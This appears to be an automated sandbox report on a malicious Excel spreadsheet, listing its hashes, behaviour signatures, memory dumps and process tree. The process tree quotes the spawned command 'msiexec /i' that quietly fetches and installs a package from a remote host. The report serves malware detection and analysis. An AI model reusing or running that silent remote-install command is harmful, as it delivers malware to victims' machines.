Analysis

  • max time kernel
    27s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    07-09-2024 21:20

General

  • Target

    8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b.xls

  • Size

    82KB

  • MD5

    df10732c7400e5555e4f0e37fe8fbdc1

  • SHA1

    4bc9edf343c7021087046021aed2eebbe1cb6ae3

  • SHA256

    8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b

  • SHA512

    6334acc65489fdc107a8e28063ebadcf74bb710516fa70031b4bc0e846462d77bfbdb2dcc12a0ae72cd234369e1a7d27aac12123f01e931f4194072218b78fcb

  • SSDEEP

    1536:oKpb8rGYrMPelwhKmFV5xtezEsgrdgrebDG7XE8rMxLgb4JSt1mGJfFacueBkgVV:oKpb8rGYrMPelwhKmFV5xtezEsgrdgw2

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Use of msiexec (install) with remote resource 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\8a8bfac2428d0c951afe998ddf030d9d734bd99939f641949be6908e58e7027b.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2884
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe RESTART=1 /i http://zonaykan.com/lsadat2 /q ADRESS=TEMP
      2⤵
      • Process spawned unexpected child process
      • Use of msiexec (install) with remote resource
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2636
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1808

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2884-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2884-1-0x0000000072A9D000-0x0000000072AA8000-memory.dmp

    Filesize

    44KB

  • memory/2884-2-0x0000000072A9D000-0x0000000072AA8000-memory.dmp

    Filesize

    44KB